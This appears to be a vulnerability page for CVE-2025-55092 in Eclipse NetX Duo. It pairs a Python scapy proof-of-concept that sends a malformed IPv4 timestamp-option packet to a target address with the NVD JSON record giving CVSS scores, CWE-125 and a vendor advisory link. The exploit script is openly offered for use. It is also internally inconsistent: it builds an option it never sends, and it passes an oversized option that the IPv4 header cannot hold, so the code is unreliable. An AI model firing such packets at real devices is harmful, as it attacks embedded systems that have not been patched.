CVE-2025-55092

# CVE-2025-55092 PoC - NetX Duo IPv4 Timestamp Option OOB Read # This PoC crafts a malicious IPv4 packet with a crafted timestamp option # to trigger out-of-bounds read in _nx_ipv4_option_process() from scapy.all import IP, Raw, send import struct def craft_malicious_ipv4_timestamp(target_ip): """ Craft an IPv4 packet with a malicious timestamp option that triggers OOB read in NetX Duo's _nx_ipv4_option_process() function. The timestamp option format: - Type: 0x44 (Timestamp) - Length: claimed large value (key to trigger OOB read) - Pointer: offset into timestamp data - Overflow/Flags: timestamp flags """ # IPv4 Timestamp Option header # Type=0x44, Length=0xFF (claiming 255 bytes of option data, but packet is shorter) # Pointer=0x05 (pointing beyond actual data) # Flags=0 (timestamp only) timestamp_option = struct.pack('!BBBB', 0x44, 0xFF, 0x05, 0x00) # Add minimal actual timestamp data (much less than claimed 255 bytes) timestamp_option += struct.pack('!I', 0x12345678) # Pad to minimum IP options alignment (multiple of 4 bytes) while len(timestamp_option) % 4 != 0: timestamp_option += b'\x00' # Build the malicious IPv4 packet packet = IP( dst=target_ip, options=[('Timestamp', b'\xff' * 200)] # Crafted timestamp option with excessive length ) / Raw(load=b'\x41' * 16) return packet def exploit(target_ip): """ Send the malicious packet to trigger the vulnerability. """ pkt = craft_malicious_ipv4_timestamp(target_ip) print(f"[*] Sending malicious IPv4 packet to {target_ip}") print(f"[*] Packet summary: {pkt.summary()}") send(pkt) print("[+] Packet sent successfully") if __name__ == "__main__": target = "192.168.1.100" # Replace with target device IP exploit(target)

{"cve": {"id": "CVE-2025-55092", "sourceIdentifier": "[email protected]", "published": "2025-10-17T05:15:35.000", "lastModified": "2025-10-24T20:22:11.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse Foundation NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_ipv4_option_process() when processing an IPv4 packet with the timestamp option."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-126"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.4.202503", "matchCriteriaId": "24743F34-C00F-4CB2-BCEE-2BB29FA265CB"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-vwh7-h99r-fvwq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}